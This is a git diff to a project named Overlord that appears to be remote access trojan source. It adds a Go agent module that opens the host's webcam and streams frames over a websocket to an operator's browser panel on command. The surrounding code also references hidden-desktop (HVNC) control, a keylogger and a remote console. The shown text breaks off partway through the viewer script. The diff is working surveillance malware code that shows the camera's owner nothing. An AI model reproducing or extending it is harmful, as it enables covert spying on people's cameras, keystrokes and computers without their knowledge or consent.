diff --git a/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go b/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go new file mode 100644 index 0000000..9eb193d --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_devices_stub.go @@ -0,0 +1,23 @@ +//go:build !windows + +package capture + +type WebcamDeviceInfo struct { + Index int + Name string + MaxFPS int +} + +func ListWebcams() ([]WebcamDeviceInfo, error) { + return []WebcamDeviceInfo{}, nil +} + +func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) { + if requestedFPS < 1 { + requestedFPS = 30 + } + if requestedFPS > 120 { + requestedFPS = 120 + } + return requestedFPS, nil +} diff --git a/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go b/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go new file mode 100644 index 0000000..382408c --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_devices_windows.go @@ -0,0 +1,161 @@ +//go:build windows + +package capture + +import ( + "fmt" + "math" + + cam "github.com/Kirizu-Official/windows-camera-go/camera/v1" +) + +type WebcamDeviceInfo struct { + Index int + Name string + MaxFPS int +} + +func ListWebcams() ([]WebcamDeviceInfo, error) { + webcamMu.Lock() + defer webcamMu.Unlock() + + temporaryInit := false + if !webcamInitDone { + if err := cam.Init(); err != nil { + return nil, fmt.Errorf("webcam init failed: %w", err) + } + webcamInitDone = true + temporaryInit = true + } + + devices, err := cam.EnumDevice() + if err != nil { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return nil, fmt.Errorf("webcam enumerate failed: %w", err) + } + + out := make([]WebcamDeviceInfo, 0, len(devices)) + for i, dev := range devices { + name := dev.Name + if name == "" { + name = fmt.Sprintf("Camera %d", i+1) + } + maxFPS := 30 + if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 { + maxFPS = int(math.Round(webcamActive.captureFPS)) + } else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 { + maxFPS = fps + } + out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS}) + } + + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + + return out, nil +} + +func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) { + if requestedFPS < 1 { + requestedFPS = 30 + } + if requestedFPS > 120 { + requestedFPS = 120 + } + + maxFPS, err := webcamMaxSupportedFPS(deviceIndex) + if err != nil { + return requestedFPS, err + } + if maxFPS <= 0 { + return requestedFPS, nil + } + if useMax || requestedFPS > maxFPS { + return maxFPS, nil + } + return requestedFPS, nil +} + +func webcamMaxSupportedFPS(deviceIndex int) (int, error) { + webcamMu.Lock() + defer webcamMu.Unlock() + + if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 { + return int(math.Round(webcamActive.captureFPS)), nil + } + + temporaryInit := false + if !webcamInitDone { + if err := cam.Init(); err != nil { + return 0, fmt.Errorf("webcam init failed: %w", err) + } + webcamInitDone = true + temporaryInit = true + } + + devices, err := cam.EnumDevice() + if err != nil { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return 0, fmt.Errorf("webcam enumerate failed: %w", err) + } + if len(devices) == 0 { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return 0, fmt.Errorf("no webcam devices detected") + } + if deviceIndex < 0 || deviceIndex >= len(devices) { + deviceIndex = 0 + } + + maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink) + if err != nil { + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + return 0, err + } + + if temporaryInit && webcamActive == nil { + cam.Shutdown() + webcamInitDone = false + } + + return maxFPS, nil +} + +func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) { + device, err := cam.OpenDevice(symbolLink) + if err != nil { + return 0, fmt.Errorf("open webcam failed: %w", err) + } + defer device.CloseDevice() + + formats, err := device.EnumerateCaptureFormats() + if err != nil { + return 0, fmt.Errorf("enumerate webcam formats failed: %w", err) + } + + maxFPS := 0 + for _, format := range formats { + if !isJPEGSubtype(format) && !isH264Subtype(format) { + continue + } + fps := int(math.Round(format.Fps)) + if fps > maxFPS { + maxFPS = fps + } + } + + return maxFPS, nil +} diff --git a/Overlord-Client/cmd/agent/capture/webcam_stub.go b/Overlord-Client/cmd/agent/capture/webcam_stub.go new file mode 100644 index 0000000..ab321ef --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_stub.go @@ -0,0 +1,17 @@ +//go:build !windows + +package capture + +import ( + "context" + "errors" + + rt "overlord-client/cmd/agent/runtime" +) + +func NowWebcam(_ context.Context, _ *rt.Env) error { + return errors.New("webcam capture is only supported on Windows") +} + +func CleanupWebcam() { +} diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go new file mode 100644 index 0000000..b7a3d0e --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -0,0 +1,238 @@ +//go:build windows + +package capture + +import ( + "context" + "fmt" + "log" + "sync" + "time" + + cam "github.com/Kirizu-Official/windows-camera-go/camera/v1" + "github.com/Kirizu-Official/windows-camera-go/windows/guid" + + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +type webcamState struct { + deviceIndex int + device *cam.Device + capture *cam.CaptureSync + format string + captureFPS float64 +} + +var ( + webcamMu sync.Mutex + webcamInitDone bool + webcamActive *webcamState +) + +func NowWebcam(ctx context.Context, env *rt.Env) error { + if ctx.Err() != nil { + return nil + } + + capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex) + if err != nil { + return err + } + + sample, err := capture.GetFrame() + if err != nil { + resetWebcamState() + return err + } + if sample == nil || sample.PpSample == nil { + return nil + } + + buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample) + if err != nil { + sample.Release() + return err + } + if buffer == nil { + sample.Release() + return nil + } + + frameBytes := make([]byte, int(buffer.Length)) + copy(frameBytes, buffer.Buffer[:buffer.Length]) + buffer.Release() + sample.Release() + + frame := wire.Frame{ + Type: "frame", + Header: wire.FrameHeader{ + Monitor: deviceIndex, + FPS: 0, + Format: format, + Webcam: true, + }, + Data: frameBytes, + } + if ctx.Err() != nil { + return nil + } + // Do not use the stream-cancel context for socket writes; canceling an in-flight + // write during webcam_stop can tear down the whole websocket on some transports. + writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + return wire.WriteMsg(writeCtx, env.Conn, frame) +} + +func CleanupWebcam() { + webcamMu.Lock() + closeWebcamLocked() + webcamMu.Unlock() +} + +func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) { + webcamMu.Lock() + defer webcamMu.Unlock() + + if requestedIndex < 0 { + requestedIndex = 0 + } + if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex { + return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil + } + + closeWebcamLocked() + + if !webcamInitDone { + if err := cam.Init(); err != nil { + return nil, 0, "", fmt.Errorf("webcam init failed: %w", err) + } + webcamInitDone = true + } + + devices, err := cam.EnumDevice() + if err != nil { + return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err) + } + if len(devices) == 0 { + return nil, 0, "", fmt.Errorf("no webcam devices detected") + } + if requestedIndex >= len(devices) { + requestedIndex = 0 + } + + deviceInfo := devices[requestedIndex] + device, err := cam.OpenDevice(deviceInfo.SymbolLink) + if err != nil { + return nil, 0, "", fmt.Errorf("open webcam failed: %w", err) + } + + formats, err := device.EnumerateCaptureFormats() + if err != nil { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err) + } + if len(formats) == 0 { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("no webcam capture formats available") + } + selected, selectedFormat := selectWebcamFormat(formats) + if selected == nil { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available") + } + capture, err := device.StartCapture(selected) + if err != nil { + device.CloseDevice() + return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err) + } + + webcamActive = &webcamState{ + deviceIndex: requestedIndex, + device: device, + capture: capture, + format: selectedFormat, + captureFPS: selected.Fps, + } + log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps) + return capture, requestedIndex, selectedFormat, nil +} + +func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) { + var best *cam.CaptureFormats + bestScore := -1.0 + bestFormat := "" + for _, format := range formats { + streamFormat := "" + if isJPEGSubtype(format) { + streamFormat = "jpeg" + } else if isH264Subtype(format) { + streamFormat = "h264" + } + if streamFormat == "" { + continue + } + score := formatScore(format) + if streamFormat == "jpeg" { + score += 100_000_000 + } + if streamFormat == "h264" && !format.IsCompressedFormat { + // Prefer compressed H264 camera output where available. + score -= 10_000_000 + } + if score > bestScore { + best = format + bestScore = score + bestFormat = streamFormat + } + } + return best, bestFormat +} + +func isJPEGSubtype(format *cam.CaptureFormats) bool { + if format == nil || format.SubType == nil { + return false + } + return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) || + format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG) +} + +func isH264Subtype(format *cam.CaptureFormats) bool { + if format == nil || format.SubType == nil { + return false + } + return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264) +} + +func formatScore(format *cam.CaptureFormats) float64 { + if format == nil { + return -1 + } + score := float64(format.Width*format.Height) + format.Fps*1000 + if format.IsCompressedFormat { + score += 5_000_000 + } + if isJPEGSubtype(format) { + score += 10_000_000 + } + if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) { + score += 1_000_000 + } + return score +} + +func resetWebcamState() { + webcamMu.Lock() + defer webcamMu.Unlock() + if webcamActive != nil { + webcamActive.device.CloseDevice() + webcamActive = nil + } +} + +func closeWebcamLocked() { + if webcamActive != nil { + webcamActive.device.CloseDevice() + webcamActive = nil + } +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index c1b8b39..0196d04 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -82,6 +82,18 @@ func resetForReconnect(env *runtime.Env) { env.HVNCSelectedDisplay = 0 env.HVNCMu.Unlock() + env.WebcamMu.Lock() + if env.WebcamCancel != nil { + env.WebcamCancel() + } + waitStreamStop(env.WebcamDone, "webcam") + env.WebcamCancel = nil + env.WebcamDone = nil + env.WebcamDeviceIndex = 0 + env.WebcamFPS = 30 + env.WebcamUseMaxFPS = false + env.WebcamMu.Unlock() + if env.Console != nil { env.Console.StopAll() } @@ -1264,6 +1276,97 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil + case "webcam_start": + env.WebcamMu.Lock() + if env.WebcamCancel != nil { + env.WebcamCancel() + waitStreamStop(env.WebcamDone, "webcam") + } + webcamCtx, cancel := context.WithCancel(ctx) + env.WebcamCancel = cancel + done := make(chan struct{}) + env.WebcamDone = done + goSafe("webcam stream", env.Cancel, func() { + log.Printf("webcam: start requested") + _ = WebcamStart(webcamCtx, env) + close(done) + }) + env.WebcamMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_list": + devices, err := capture.ListWebcams() + if err != nil { + sendCommandResultSafe(env, cmdID, false, err.Error()) + return nil + } + out := make([]wire.WebcamDevice, 0, len(devices)) + for _, dev := range devices { + out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS}) + } + _ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex}) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_select": + payload, _ := envelope["payload"].(map[string]interface{}) + index := 0 + if payload != nil { + if n, ok := payloadInt(payload, "index"); ok { + index = n + } + } + env.WebcamDeviceIndex = index + capture.CleanupWebcam() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_set_fps": + payload, _ := envelope["payload"].(map[string]interface{}) + env.WebcamMu.Lock() + isStreaming := env.WebcamCancel != nil + env.WebcamMu.Unlock() + if isStreaming { + sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps") + return nil + } + fps := env.WebcamFPS + useMax := env.WebcamUseMaxFPS + if payload != nil { + if n, ok := payloadInt(payload, "fps"); ok { + fps = n + } + if v, ok := payload["useMax"].(bool); ok { + useMax = v + } + } + if fps < 1 { + fps = 30 + } + if fps > 120 { + fps = 120 + } + clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax) + if clampErr != nil { + log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr) + } else { + fps = clampedFPS + } + env.WebcamFPS = fps + env.WebcamUseMaxFPS = useMax + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "webcam_stop": + env.WebcamMu.Lock() + log.Printf("webcam: stop requested") + if env.WebcamCancel != nil { + env.WebcamCancel() + } + waitStreamStop(env.WebcamDone, "webcam") + env.WebcamCancel = nil + env.WebcamDone = nil + env.WebcamMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "console_start": sessionID, _ := envelopePayloadString(envelope, "sessionId") cols, rows := envelopePayloadInts(envelope) diff --git a/Overlord-Client/cmd/agent/handlers/webcam.go b/Overlord-Client/cmd/agent/handlers/webcam.go new file mode 100644 index 0000000..0a3d7dd --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/webcam.go @@ -0,0 +1,55 @@ +package handlers + +import ( + "context" + "log" + "time" + + "overlord-client/cmd/agent/capture" + rt "overlord-client/cmd/agent/runtime" +) + +func WebcamStart(ctx context.Context, env *rt.Env) error { + fps := env.WebcamFPS + if fps <= 0 { + fps = 30 + } + if env.WebcamUseMaxFPS { + fps = 60 + } + if fps > 120 { + fps = 120 + } + interval := time.Second / time.Duration(fps) + log.Printf("webcam: starting stream (max fps %d)", fps) + defer capture.CleanupWebcam() + ticker := time.NewTicker(interval) + defer ticker.Stop() + lastErrText := "" + lastErrLogAt := time.Time{} + + for { + select { + case <-ctx.Done(): + log.Printf("webcam: stopping stream") + return nil + case <-ticker.C: + if err := capture.NowWebcam(ctx, env); err != nil { + if ctx.Err() != nil { + log.Printf("webcam: stopping stream") + return nil + } + errText := err.Error() + now := time.Now() + if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second { + log.Printf("webcam: capture error: %v", err) + lastErrText = errText + lastErrLogAt = now + } + } else { + lastErrText = "" + lastErrLogAt = time.Time{} + } + } + } +} diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index 6a7582a..9fd5294 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -34,6 +34,12 @@ type Env struct { HVNCCancel context.CancelFunc HVNCDone chan struct{} HVNCMu sync.Mutex + WebcamDeviceIndex int + WebcamFPS int + WebcamUseMaxFPS bool + WebcamCancel context.CancelFunc + WebcamDone chan struct{} + WebcamMu sync.Mutex // Other fields Plugins *plugins.Manager Keylogger *keylogger.Keylogger diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index fcf785c..6aa01d0 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -315,6 +315,9 @@ func shouldRetryImmediately(err error) bool { if strings.Contains(msg, "timed out from inactivity") { return true } + if strings.Contains(msg, "use of closed network connection") || strings.Contains(msg, "failed to get reader") { + return true + } return false } @@ -499,6 +502,10 @@ func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher if ctx.Err() != nil { return err } + var closeErr *websocket.CloseError + if errors.As(err, &closeErr) { + log.Printf("readLoop: websocket close code=%d reason=%q", closeErr.Code, closeErr.Reason) + } log.Printf("readLoop: read error: %v", err) return err } diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 199bad9..e74d6be 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -48,6 +48,7 @@ type FrameHeader struct { FPS int `msgpack:"fps"` Format string `msgpack:"format"` HVNC bool `msgpack:"hvnc,omitempty"` + Webcam bool `msgpack:"webcam,omitempty"` } type Frame struct { @@ -185,3 +186,15 @@ type Notification struct { Keyword string `msgpack:"keyword,omitempty"` TS int64 `msgpack:"ts,omitempty"` } + +type WebcamDevice struct { + Index int `msgpack:"index"` + Name string `msgpack:"name"` + MaxFPS int `msgpack:"maxFps,omitempty"` +} + +type WebcamDevices struct { + Type string `msgpack:"type"` + Devices []WebcamDevice `msgpack:"devices"` + Selected int `msgpack:"selected"` +} diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod index 784df79..9dfbb0a 100644 --- a/Overlord-Client/go.mod +++ b/Overlord-Client/go.mod @@ -1,6 +1,6 @@ module overlord-client -go 1.23 +go 1.24 require ( github.com/creack/pty v1.1.21 @@ -13,6 +13,7 @@ require ( ) require ( + github.com/Kirizu-Official/windows-camera-go v0.2.0 github.com/gen2brain/malgo v0.11.24 golang.org/x/sys v0.24.0 ) @@ -25,4 +26,5 @@ require ( github.com/jezek/xgb v1.1.1 // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum index a1a733f..4f286ab 100644 --- a/Overlord-Client/go.sum +++ b/Overlord-Client/go.sum @@ -1,3 +1,5 @@ +github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g= +github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ= github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= @@ -35,7 +37,9 @@ github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg= golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q= nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c= diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index dec3d66..9ab35b7 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -83,6 +83,9 @@ function applyMenuSupportRules(clientId) { const hvncBtn = menu.querySelector('[data-open="hvnc"]'); setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients."); + const webcamBtn = menu.querySelector('[data-open="webcam"]'); + setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients."); + const keyloggerBtn = menu.querySelector('[data-open="keylogger"]'); setAvailability( keyloggerBtn, @@ -595,6 +598,11 @@ menu.addEventListener("click", async (e) => { closeMenu(clearContext); return; } + if (open === "webcam") { + window.open(`/webcam?clientId=${contextCard}`, "_blank", "noopener"); + closeMenu(clearContext); + return; + } if (open === "hvnc") { window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 4490b3d..c80766b 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -7,6 +7,7 @@ menu.innerHTML = ` + diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js new file mode 100644 index 0000000..cae04a3 --- /dev/null +++ b/Overlord-Server/public/assets/webcam.js @@ -0,0 +1,379 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +(function () { + const clientId = new URLSearchParams(location.search).get("clientId"); + if (!clientId) { + alert("Missing clientId"); + return; + } + + const clientLabel = document.getElementById("clientLabel"); + const startBtn = document.getElementById("startBtn"); + const stopBtn = document.getElementById("stopBtn"); + const cameraSelect = document.getElementById("cameraSelect"); + const refreshCameras = document.getElementById("refreshCameras"); + const fpsInput = document.getElementById("fpsInput"); + const applyFps = document.getElementById("applyFps"); + const viewerFps = document.getElementById("viewerFps"); + const statusEl = document.getElementById("streamStatus"); + const canvas = document.getElementById("frameCanvas"); + const ctx = canvas.getContext("2d"); + + clientLabel.textContent = clientId; + + let ws = null; + let desiredStreaming = false; + let streamState = "connecting"; + let renderCount = 0; + let renderWindowStart = performance.now(); + let videoDecoder = null; + let h264TimestampUs = 0; + let availableDevices = []; + let selectedDeviceIndex = 0; + + function selectedDeviceMaxFps() { + const selected = availableDevices.find((dev) => (Number(dev.index) || 0) === selectedDeviceIndex); + const max = Number(selected?.maxFps) || 0; + return max > 0 ? Math.min(120, max) : 120; + } + + function applyFpsInputLimits() { + const maxFps = selectedDeviceMaxFps(); + fpsInput.max = String(maxFps); + const current = Number(fpsInput.value) || 30; + if (current > maxFps) { + fpsInput.value = String(maxFps); + } + } + + function applyFpsSettings() { + if (streamState === "streaming" || streamState === "starting" || streamState === "stopping") { + setStreamState("error", "Stop stream before changing FPS"); + return; + } + const maxFps = selectedDeviceMaxFps(); + const fps = Math.max(1, Math.min(maxFps, Number(fpsInput.value) || 30)); + if ((Number(fpsInput.value) || 30) > maxFps) { + fpsInput.value = String(maxFps); + setStreamState("idle", `FPS capped to camera max (${maxFps})`); + } + send("webcam_set_fps", { fps, useMax: false }); + } + + function requestCameraList() { + send("webcam_list"); + } + + function renderCameraList(devices, selected) { + availableDevices = Array.isArray(devices) ? devices : []; + cameraSelect.innerHTML = ""; + if (!availableDevices.length) { + const opt = document.createElement("option"); + opt.value = "0"; + opt.textContent = "No cameras detected"; + cameraSelect.appendChild(opt); + cameraSelect.disabled = true; + return; + } + cameraSelect.disabled = false; + for (const dev of availableDevices) { + const idx = Number(dev.index) || 0; + const maxFps = Number(dev.maxFps) || 0; + const opt = document.createElement("option"); + opt.value = String(idx); + opt.textContent = maxFps > 0 + ? `${dev.name || `Camera ${idx + 1}`} (max ${maxFps} FPS)` + : (dev.name || `Camera ${idx + 1}`); + cameraSelect.appendChild(opt); + } + selectedDeviceIndex = Number(selected) || 0; + const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex); + if (selectedOpt) { + cameraSelect.value = selectedOpt.value; + } else if (cameraSelect.options.length) { + cameraSelect.value = cameraSelect.options[0].value; + } + selectedDeviceIndex = Number(cameraSelect.value) || 0; + applyFpsInputLimits(); + } + + function isH264KeyFrame(data) { + for (let i = 0; i + 4 < data.length; i++) { + let startCodeLen = 0; + if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) { + startCodeLen = 3; + } else if ( + i + 4 < data.length && + data[i] === 0x00 && + data[i + 1] === 0x00 && + data[i + 2] === 0x00 && + data[i + 3] === 0x01 + ) { + startCodeLen = 4; + } + if (!startCodeLen) continue; + const nalIndex = i + startCodeLen; + if (nalIndex >= data.length) break; + const nalType = data[nalIndex] & 0x1f; + if (nalType === 5) { + return true; + } + i = nalIndex; + } + return false; + } + + function destroyVideoDecoder() { + if (!videoDecoder) return; + try { + videoDecoder.close(); + } catch {} + videoDecoder = null; + } + + function ensureVideoDecoder() { + if (videoDecoder) return true; + if (typeof VideoDecoder !== "function") return false; + try { + videoDecoder = new VideoDecoder({ + output: (frame) => { + const width = frame.displayWidth || frame.codedWidth || canvas.width; + const height = frame.displayHeight || frame.codedHeight || canvas.height; + if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) { + canvas.width = width; + canvas.height = height; + } + try { + ctx.drawImage(frame, 0, 0, canvas.width, canvas.height); + } finally { + frame.close(); + } + }, + error: (err) => { + console.warn("webcam h264 decoder error", err); + }, + }); + videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true }); + h264TimestampUs = 0; + return true; + } catch (err) { + console.warn("webcam h264 decoder unavailable", err); + destroyVideoDecoder(); + return false; + } + } + + function setStreamState(state, text) { + streamState = state; + const icons = { + connecting: '', + starting: '', + stopping: '', + streaming: '', + idle: '', + offline: '', + disconnected: '', + error: '', + }; + const label = text || + (state === "streaming" ? "Streaming" : + state === "starting" ? "Starting" : + state === "stopping" ? "Stopping" : + state === "offline" ? "Client offline" : + state === "disconnected" ? "Disconnected" : + state === "error" ? "Error" : + "Stopped"); + + statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`; + + const wsOpen = ws && ws.readyState === WebSocket.OPEN; + const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping"; + startBtn.disabled = !wsOpen || streamState === "starting" || streamState === "streaming"; + stopBtn.disabled = !wsOpen || (streamState !== "starting" && streamState !== "streaming"); + refreshCameras.disabled = !wsOpen; + applyFps.disabled = !wsOpen || streamLocked; + fpsInput.disabled = !wsOpen || streamLocked; + + if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") { + viewerFps.textContent = "--"; + renderCount = 0; + renderWindowStart = performance.now(); + } + } + + function updateViewerFps() { + const now = performance.now(); + renderCount += 1; + const elapsed = now - renderWindowStart; + if (elapsed >= 1000) { + viewerFps.textContent = String(Math.round((renderCount * 1000) / elapsed)); + renderCount = 0; + renderWindowStart = now; + } + } + + async function drawJpeg(bytes) { + const blob = new Blob([bytes], { type: "image/jpeg" }); + const bitmap = await createImageBitmap(blob); + canvas.width = bitmap.width; + canvas.height = bitmap.height; + ctx.drawImage(bitmap, 0, 0, bitmap.width, bitmap.height); + bitmap.close(); + updateViewerFps(); + setStreamState("streaming", "Streaming"); + } + + function handleFrame(data) { + const bytes = new Uint8Array(data); + if (bytes.length < 8) return; + if (bytes[0] !== 0x46 || bytes[1] !== 0x52 || bytes[2] !== 0x4d) return; + const format = bytes[6]; + const payload = bytes.slice(8); + if (!payload.length) return; + if (format === 1) { + drawJpeg(payload).catch((err) => { + console.warn("webcam draw failed", err, "payloadBytes=", payload.length); + }); + return; + } + if (format === 4) { + if (!ensureVideoDecoder()) { + setStreamState("error", "H264 decoder unavailable in browser"); + return; + } + try { + const isKey = isH264KeyFrame(payload); + const chunk = new EncodedVideoChunk({ + type: isKey ? "key" : "delta", + timestamp: h264TimestampUs, + data: payload, + }); + h264TimestampUs += 66_666; + videoDecoder.decode(chunk); + updateViewerFps(); + setStreamState("streaming", "Streaming"); + } catch (err) { + console.warn("webcam h264 decode failed", err, "payloadBytes=", payload.length); + } + return; + } + console.warn("webcam unsupported frame format", format, "payloadBytes=", payload.length); + } + + function send(type, payload = {}) { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + ws.send(encodeMsgpack({ type, ...payload })); + } + + function handleControlMessage(msg) { + if (!msg || typeof msg !== "object") return; + if (msg.type === "webcam_devices") { + renderCameraList(msg.devices, msg.selected); + return; + } + if (msg.type === "ready") { + setStreamState("idle", "Ready"); + return; + } + if (msg.type === "status") { + if (msg.status === "offline") { + desiredStreaming = false; + setStreamState("offline", msg.reason || "Client offline"); + } else if (msg.status === "connecting") { + setStreamState("idle", "Ready"); + } else if (msg.status === "online") { + setStreamState("idle", "Ready"); + } + } + } + + function connect() { + const protocol = location.protocol === "https:" ? "wss://" : "ws://"; + ws = new WebSocket(`${protocol}${location.host}/api/clients/${clientId}/webcam/ws`); + ws.binaryType = "arraybuffer"; + setStreamState("connecting", "Connecting"); + + ws.onopen = () => { + requestCameraList(); + applyFpsSettings(); + if (desiredStreaming) { + send("webcam_start"); + setStreamState("starting", "Starting"); + } else { + setStreamState("idle", "Stopped"); + } + }; + + 